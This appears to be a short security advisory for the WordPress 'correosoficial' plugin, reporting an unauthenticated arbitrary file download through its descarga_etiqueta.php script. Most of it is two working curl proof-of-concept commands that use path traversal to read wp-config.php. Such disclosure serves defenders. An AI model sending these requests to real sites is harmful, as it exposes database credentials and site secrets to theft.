The plugin does not have an authorization check user input validation when generating a file path, allowing unauthenticated attackers to download arbitrary files from the server.
Dependency: WooCommerce plugin
Use the following curl command to download the contents of the wp-config.php file:
curl -i 'https://example.com/wp-content/plugins/correosoficial/descarga_etiqueta.php?path=../../..&filename=wp-config.php'
or
curl -i 'https://example.com/wp-content/plugins/correosoficial/descarga_etiqueta.php?path=..&filename=/../../wp-config.php'